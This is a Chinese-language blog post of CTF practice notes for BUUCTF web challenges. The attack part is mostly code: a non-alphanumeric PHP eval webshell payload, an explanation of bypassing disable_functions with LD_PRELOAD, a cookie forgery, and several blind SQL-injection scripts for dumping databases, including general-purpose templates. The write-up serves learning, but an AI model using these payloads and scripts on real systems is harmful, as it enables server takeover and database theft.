• 刷题学习记录BUUCTF


     [极客大挑战 2019]RCE ME1

    进入环境直接就有代码

    1. error_reporting(0);
    2. if(isset($_GET['code'])){
    3. $code=$_GET['code'];
    4. if(strlen($code)>40){
    5. die("This is too Long.");
    6. }
    7. if(preg_match("/[A-Za-z0-9]+/",$code)){
    8. die("NO.");
    9. }
    10. @eval($code);
    11. }
    12. else{
    13. highlight_file(__FILE__);
    14. }
    15. // ?>

     代码审计:

    传入的code不能大于40

    并且不能包含a到z的大小写字符和1到10的数字

    我们可以通过不在这个字符集里的字符进行绕过

    可以采用异或和取反


    异或参考:PHP异或_php异或脚本-CSDN博客

    PHP异或_php 异或-CSDN博客

    取反参考:php中的取反符号,php中取反的全过程-CSDN博客

    这里采用取反,绕过

    参考:CTF-Web-[极客大挑战 2019]RCE ME 1-CSDN博客

    执行phpinfo();

    1. $c='phpinfo';
    2. $d=urlencode(~$c);
    3. echo $d;
    4. ?>

    ?code=(~%8F%97%8F%96%91%99%90)();

     

     构造一个shell连上蚁剑

    1. error_reporting(0);
    2. $a='assert';
    3. $b=urlencode(~$a);
    4. echo '(~'.$b.')';
    5. $c='(eval($_POST[1]))';
    6. $d=urlencode(~$c);
    7. echo '(~'.$d.')';
    8. ?>

     

    ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6)();

     蚁剑连接

     在根目录发现的flag文件里面是空的,readflag文件里面是乱码

     这里就要用到蚁剑的插件,才能的得到flag

     利用插件选定模式后进入终端,获得flag

    在别人的博客中看到不用蚁剑的插件,也能做出来,因为蚁剑的插件市场下载插件需要魔法

    通过LD_PRELOAD & putenv() 绕过,获取flag

    参考:BUUCTF:[极客大挑战 2019]RCE ME-CSDN博客

    笔记

    参考:无字母数字webshell总结 - 先知社区

    LD_PRELOAD 参考:https://www.cnblogs.com/leixiao-/p/10612798.html

    深入浅出LD_PRELOAD & putenv()-安全客 - 安全资讯平台

     

    在学习LD_PRELOAD之前需要了解什么是链接。

    程序的链接主要有以下三种:

        静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

        装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

        运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

    对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。

    LD_PRELOAD介绍

        在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

    为什么可以绕过

    想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

        能够上传自己的.so文件

        能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数

        存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

    首先,我们能够上传恶意.so文件,.so文件由攻击者在本地使用与服务端相近的系统环境进行编译,该库中重写了相关系统函数,重写的系统函数能够被PHP中未被disable_functions禁止的函数所调用。

    当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。
     

    查询禁用函数

    异或和url取反在任意php版本下均可使用,所以两种方法均可使用。


    url编码取反绕过

    url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。

    异或饶过
    异或:将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符 

    [极客大挑战 2019]FinalSQL1

    进入环境是一个登录框

     分别尝试了1和1'

     但是看了别人的wp注入不是在登录框进行,而且登陆页面的紫色字体点了之后会进入到另一个页面

    这道题用到sql异或注入

    sql异或注入,经过尝试发现^符号未被过滤,(1^2=3)

    • 首先可以根据1^0=1 1^1=0 来判断闭合方式(数字型还是字符型)。因为如果是字符型,不会执行^。

    • 简单判断是数字型。

     由于不会写python脚本,这里就用大佬的脚本了

    payload:

    1. import time
    2. import requests
    3. import string
    4. url = "http://ba8a3be4-a2cc-42fa-b6e5-5679fa6feafb.node4.buuoj.cn:81/search.php"
    5. flag = ''
    6. def payload(i, j):
    7. # 数据库名字
    8. sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
    9. # 表名
    10. # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
    11. # 列名
    12. # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
    13. # 查询flag
    14. # sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    15. data = {"id": sql}
    16. r = requests.get(url, params=data,timeout=5)
    17. time.sleep(0.04)
    18. # print (r.url)
    19. if "Click" in r.text:
    20. res = 1
    21. else:
    22. res = 0
    23. return res
    24. def exp():
    25. global flag
    26. for i in range(1, 10000):
    27. print(i, ':')
    28. low = 31
    29. high = 127
    30. while low <= high:
    31. mid = (low + high) // 2
    32. res = payload(i, mid)
    33. if res:
    34. low = mid + 1
    35. else:
    36. high = mid - 1
    37. f = int((low + high + 1)) // 2
    38. if (f == 127 or f == 31):
    39. break
    40. # print (f)
    41. flag += chr(f)
    42. print(flag)
    43. if __name__ == "__main__":
    44. exp()
    45. print('输出:', flag)

     跑这个脚本要一步一步的跑,分别跑出数据库名,表名,列名,字段名

    爆数据库名

    sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, j)

    爆表名,这里爆geek

    sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)

     爆列名,这里爆F1naI1y

    sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)

     查询flag

    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)

     

    [BSidesCF 2019]Kookie1

    进入环境,是一个登录框

     提示要用admin用户登录,但是也有一个用户可以登录

    用户名:cookie

    密码:monster

     虽然成功登录成功,但是却没有用admin为用户名登录,题目有cookie,那就f12查看cookie

     既然要以admin为用户名登录,那就用bp抓包伪造cookie

     发送伪造的cookie后就得到flag

     

    [WUSTCTF2020]颜值成绩查询1

    进入环境,是一个查询页面

    分别输入1,2,3,4都有回显,但是输入5就会报错

     出现这种情况,一般都是要进行sql盲注

    一说到盲注,要快速注入就需要脚本,这里就借用大佬的脚本了(二分法)

    1. import requests
    2. url="http://cca7035c-c728-4e0f-9a34-53d1e4baac33.node4.buuoj.cn:81/?stunum="
    3. name=''
    4. for i in range(1,100):
    5. print(i)
    6. low=32
    7. high=128
    8. mid=(low+high)//2
    9. while low<high:
    10. #payload = "0^(ascii(substr((select(database())),%d,1))>%d)" % (i, mid)
    11. #payload="0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1))>%d)"%(i,mid)
    12. #payload="0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)"%(i,mid)
    13. payload="0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)"%(i,mid)
    14. r=requests.get(url=url+payload)
    15. if 'admin' in r.text:
    16. low = mid+1
    17. else:
    18. high=mid
    19. mid=(low+high)//2
    20. if(mid==32):
    21. break
    22. name=name+chr(mid)
    23. print (name)

     运行脚本依然是爆数据库,爆表名,爆列名,查询字段

    查询出字段

     得到flag:flag{03f18350-118d-4993-8da1-6eae741e08c5}

     笔记

    二分法

    定义
    1. ​ 二分法(Bisection method),即一分为二的的方法。对于在区间[a,b]上连续不断且满足f(a)*f(b)<0
    2. 的函数y=f(x),通过不断地把函数f(x)的零点所在区间二等分,使区间两个端点逐步逼近零点,进而得到
    3. 零点的近似值的方法。

     小白理解,设置极小值与极大值,然后不断缩小范围,最终确定答案

    详细过程

    二分法讲解(赋值讲解)
    设置极大值100和极小值1(这两个值不可能是要求的那个,在在这里假设所求值为56)
    然后取出平均值50
    第一次比较
    将平均值与所求值进行比较,50<56,发现平均值比所求值要小,说明所求值介于55到100之间,
    第二次比较
    此时我们就把极小值更改为51(本来应改为50,但不可能是50),取出平均值75,将所求值与平均值进行比较,75>56,发现平均值比所求值大,说明平均值介于51到75之间
    第三次比较
    此时更改极大值为75,取出平均值63,将所求值与平均值进行比较,63>56,发现平均值比所求值大,说明平均值介于55到63之间
    第四次比较
    此时更改极大值为63,取出平均值57,将所求值与平均值进行比较,57>56,发现平均值比所求值大,说明平均值介于55到57之间
    第五次比较
    此时更改极大值为57,取出平均值56,将所求值与平均值进行比较,56=56,两者相等,结束。

     一般在使用sql盲注脚本的时候,脚本使用二分法的时候运行的要快一些

     这是二分法脚本的模板

    1. import requests
    2. import time
    3. #host = "http://"
    4. host = "http://"
    5. '''
    6. def getDatabase(): #获取数据库名
    7. global host
    8. ans=''
    9. for i in range(1,1000):
    10. low = 32
    11. high = 128
    12. mid = (low+high)//2
    13. while low < high:
    14. payload= "1'^(ascii(substr((select(database())),%d,1))<%d)^1#" % (i,mid)
    15. param ={"username":payload,"password":"admin"}
    16. res = requests.post(host,data=param)
    17. if "用户名错误" in res.text:
    18. high = mid
    19. else:
    20. low = mid+1
    21. mid=(low+high)//2
    22. if mid <= 32 or mid >= 127:
    23. break
    24. ans += chr(mid-1)
    25. print("database is -> "+ans)
    26. '''
    27. def getDatabase(): #获取数据库名
    28. global host
    29. ans=''
    30. for i in range(1,1000):
    31. low = 32
    32. high = 128
    33. mid = (low+high)//2
    34. while low < high:
    35. url= host +"?id=1'^(ascii(substr((select(database())),%d,1))<%d)^1-- -" % (i,mid)
    36. res = requests.get(url)
    37. if "You are in" in res.text:
    38. high = mid
    39. else:
    40. low = mid+1
    41. mid=(low+high)//2
    42. if mid <= 32 or mid >= 127:
    43. break
    44. ans += chr(mid-1)
    45. print("database is -> "+ans)
    46. '''
    47. def getTable(): #获取表名
    48. global host
    49. ans=''
    50. for i in range(1,1000):
    51. low = 32
    52. high = 128
    53. mid = (low+high)//2
    54. while low < high:
    55. url = host + "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)
    56. res = requests.get(url)
    57. if "others~~~" in res.text:
    58. high = mid
    59. else:
    60. low = mid+1
    61. mid=(low+high)//2
    62. if mid <= 32 or mid >= 127:
    63. break
    64. ans += chr(mid-1)
    65. print("table is -> "+ans)
    66. '''
    67. def getTable(): #获取表名
    68. global host
    69. ans=''
    70. for i in range(1,1000):
    71. low = 32
    72. high = 128
    73. mid = (low+high)//2
    74. while low < high:
    75. url = host + "?id=1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1-- -" % (i,mid)
    76. res = requests.get(url)
    77. if "You are in" in res.text:
    78. high = mid
    79. else:
    80. low = mid+1
    81. mid=(low+high)//2
    82. if mid <= 32 or mid >= 127:
    83. break
    84. ans += chr(mid-1)
    85. print("table is -> "+ans)
    86. '''
    87. def getColumn(): #获取列名
    88. global host
    89. ans=''
    90. for i in range(1,1000):
    91. low = 32
    92. high = 128
    93. mid = (low+high)//2
    94. while low < high:
    95. url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)
    96. res = requests.get(url)
    97. if "others~~~" in res.text:
    98. high = mid
    99. else:
    100. low = mid+1
    101. mid=(low+high)//2
    102. if mid <= 32 or mid >= 127:
    103. break
    104. ans += chr(mid-1)
    105. print("column is -> "+ans)
    106. '''
    107. def getColumn(): #获取列名
    108. global host
    109. ans=''
    110. for i in range(1,1000):
    111. low = 32
    112. high = 128
    113. mid = (low+high)//2
    114. while low < high:
    115. #url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1" % (i,mid)
    116. # res = requests.get(url)
    117. url = host + "id=1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1-- -" % (i,mid)
    118. res = requests.get(url)
    119. if "You are in" in res.text:
    120. high = mid
    121. else:
    122. low = mid+1
    123. mid=(low+high)//2
    124. if mid <= 32 or mid >= 127:
    125. break
    126. ans += chr(mid-1)
    127. print("column is -> "+ans)
    128. '''
    129. def dumpTable():#脱裤
    130. global host
    131. ans=''
    132. for i in range(1,10000):
    133. low = 32
    134. high = 128
    135. mid = (low+high)//2
    136. while low < high:
    137. url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
    138. res = requests.get(url)
    139. if "others~~~" in res.text:
    140. high = mid
    141. else:
    142. low = mid+1
    143. mid=(low+high)//2
    144. if mid <= 32 or mid >= 127:
    145. break
    146. ans += chr(mid-1)
    147. print("dumpTable is -> "+ans)
    148. '''
    149. '''
    150. def dumpTable():#脱裤
    151. global host
    152. ans=''
    153. for i in range(1,10000):
    154. low = 32
    155. high = 128
    156. mid = (low+high)//2
    157. while low < high:
    158. url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
    159. res = requests.get(url)
    160. if "others~~~" in res.text:
    161. high = mid
    162. else:
    163. low = mid+1
    164. mid=(low+high)//2
    165. if mid <= 32 or mid >= 127:
    166. break
    167. ans += chr(mid-1)
    168. print("dumpTable is -> "+ans)
    169. '''
    170. def dumpTable():#脱裤
    171. global host
    172. ans=''
    173. for i in range(1,10000):
    174. low = 32
    175. high = 128
    176. mid = (low+high)//2
    177. while low < high:
    178. # url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
    179. # res = requests.get(url)
    180. url = host + "id=1'^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1-- -" % (i,mid)
    181. res = requests.get(url)
    182. if "You are in" in res.text:
    183. high = mid
    184. else:
    185. low = mid+1
    186. mid=(low+high)//2
    187. if mid <= 32 or mid >= 127:
    188. break
    189. ans += chr(mid-1)
    190. print("dumpTable is -> "+ans)
    191. getDatabase()
    192. getTable()
    193. getColumn()
    194. dumpTable()

     

    1. import requests
    2. import urllib
    3. import math
    4. import time
    5. data="u=45345345&p=45345345&bianhao=1&a=1"
    6. def binarySearch(url,payload,start,end):
    7. left=start
    8. right=end
    9. while left<right:
    10. mid=math.floor((left+right)/2)
    11. xkey1=payload.format(mid)
    12. headers = {'Content-Type': 'application/x-www-form-urlencoded','X-Forwarded-For': xkey1}
    13. response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
    14. if response.status_code==200:
    15. right=mid
    16. else:
    17. left=mid+1
    18. return int(left)
    19. def database_length(url):
    20. xkey = "1' or (select length(database()))<={}#"
    21. return binarySearch(url, xkey, 0, 100)
    22. def database_name(url):
    23. databasename = ''
    24. aa = database_length(url)
    25. for i in range(1, aa + 1):
    26. xkey = "1' or ascii(substring(database(),%s,1))<={}#" % i
    27. databasename += chr(binarySearch(url, xkey, 32, 126))
    28. return databasename
    29. def table_count(url, database):
    30. xkey = "1' or (select count(table_name) from information_schema.tables where table_schema=" + "'" + database + "')" + "<={}#"
    31. return binarySearch(url, xkey, 0, 100)
    32. def table_length(url, a, database):
    33. xkey = "1' or (select length(table_name) from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1)<={}#" % a
    34. return binarySearch(url, xkey, 0, 100)
    35. def table_name(url, database):
    36. table_name = []
    37. bb = table_count(url, database)
    38. for i in range(0, bb):
    39. user = ''
    40. cc = table_length(url, i, database)
    41. if cc == None:
    42. break
    43. for j in range(1, cc + 1):
    44. xkey = "1' or ascii(substring((select table_name from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1),%s,1))<={}#" % (i, j)
    45. user += chr(binarySearch(url, xkey, 32, 126))
    46. table_name.append(user)
    47. return table_name
    48. def column_count(url, table_name):
    49. xkey = "1' or (select count(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + ")<={}#"
    50. return binarySearch(url, xkey, 0, 100)
    51. def column_length(num, url, table_name):
    52. limit = " limit %s,1)<={}" % num
    53. xkey = "1' or (select length(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
    54. return binarySearch(url, xkey, 0, 100)
    55. def column_name(url, table_name):
    56. column_name = []
    57. dd = column_count(url, table_name)
    58. for i in range(0, dd):
    59. user = ''
    60. bb = column_length(i, url, table_name)
    61. if bb == None:
    62. break
    63. for j in range(1, bb + 1):
    64. limit = " limit %s,1),%s,1))<={}" % (i, j)
    65. xkey = "1' or ascii(substring((select column_name from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
    66. user += chr(binarySearch(url, xkey, 32, 126))
    67. column_name.append(user)
    68. return column_name
    69. def data_count(url, table,column):
    70. xkey = "1' or (select count("+column+") from "+table+")<={}#"
    71. return binarySearch(url, xkey, 0, 100)
    72. def data_length(num, url, table,column):
    73. limit = " limit %s,1)<={}" % num
    74. xkey = "1' or (select length("+column+") from "+table+limit+"#"
    75. return binarySearch(url, xkey, 0, 100)
    76. def data_data(url, table,column):
    77. data_data = []
    78. dd = data_count(url, table,column)
    79. for i in range(0, dd + 1):
    80. user = ''
    81. bb = data_length(i, url, table,column)
    82. if bb == None:
    83. break
    84. for j in range(1, bb + 1):
    85. limit = " limit %s,1),%s,1))<={}" % (i, j)
    86. xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
    87. user += chr(binarySearch(url, xkey, 32, 126))
    88. data_data.append(user)
    89. return data_data
    90. def data_dataall(url, table,column,line,count):
    91. user = ''
    92. bb = data_length(line, url, table,column)
    93. for j in range(0, bb + 1):
    94. limit = " limit %s,1),%s,1))<={}" % (line, j)
    95. xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
    96. user += chr(binarySearch(url, xkey, 32, 126))
    97. return user
    98. if __name__ == '__main__':
    99. one = float(time.time())
    100. url = 'http://192.168.164.138/test.php'
    101. databasename = database_name(url)
    102. print "The current database:" + databasename
    103. #database = raw_input("Please input your databasename: ")
    104. database="test"
    105. databasedata = {}
    106. tables = table_name(url, database)
    107. print database + " have the tables:",
    108. print tables
    109. for table in tables:
    110. k={}
    111. column1=[]
    112. print table + " have the columns:"
    113. column1=column_name(url, table)
    114. for j in range(0, len(column1)):
    115. k[j+1] = column1[j]
    116. databasedata[table]=k
    117. print column1
    118. print(databasedata)
    119. databasedata={'123': {1: 'id'}, 'book': {1: 'book_id', 2: 'price'}}
    120. while 1:
    121. print "请输入你要读取的表名"
    122. #table = raw_input("Please input your table_name: ")
    123. table="book"
    124. if databasedata.has_key(table)!=False:
    125. break
    126. #column = raw_input("Please input your column_name: ")
    127. column=""
    128. if len(column)>0:
    129. print column+"have the data:"
    130. print data_data(url, table, column)
    131. else:
    132. count=data_count(url, table, databasedata[table][1])
    133. print "count="+str(count)
    134. dataline="count "
    135. for i in range(0, len(databasedata[table])):
    136. dataline=dataline+databasedata[table][i+1]+" "
    137. print dataline
    138. for line in range(0,count):
    139. dataline=str(line)+" "
    140. for i in range(0, len(databasedata[table])):
    141. dataline+=data_dataall(url, table, databasedata[table][i+1], str(line), count)+" "
    142. print dataline
    143. two = float(time.time())
    144. interval = two - one
    145. print(interval)

     

     

  • 相关阅读:
    皕杰报表的Linux部署
    NX二次开发-UFUN查询对象的类型和子类型UF_OBJ_ask_type_and_subtype
    百货集团数字化转型方案
    (尚硅谷)JavaWeb新版教程10-书城项目的实现(第二部分)
    Go语言核心(二)
    算法通过村第七关-树(递归/二叉树遍历)白银笔记|递归实战
    盘点那些具有特色的写作软件
    如何监控公司电脑上网记录(员工上网行为监控软件有哪些?)
    搁置收购推特后,马斯克盛赞微信:什么都能做、还没有垃圾信息
    用echarts在vue2中实现3d饼图
  • 原文地址:https://blog.csdn.net/qq_73861475/article/details/134277823